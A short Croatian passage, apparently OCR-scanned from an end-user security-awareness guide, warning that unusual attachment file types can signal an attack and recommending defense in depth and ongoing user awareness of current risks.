jednako opasne kao .exe datoteke, zato susret s tako neobi¢cnom datotekom
(npr. takva datoteka u privitku) moze biti znak napada.

U konacnici, tehnike napada se mijenjaju, pa se tako mijenjaju i tehnicke mjere zaStite te
konkretna pravila zastite za krajnje korisnike. Dva savjeta za zaStitu koji se ne mijenjaju
su:

e potrebno je koristiti viSe slojeva zaStite (eng. defense in depth),

e svikrajnji korisnici (a ne samo IT osoblje, sistemski administratori itd.) trebaju biti
osvijeSteni i redovito upoznati s trenutnim sigurnosnim rizicima, tako da na
temelju tog znanja mogu biti oprezni u koriStenju racunala.
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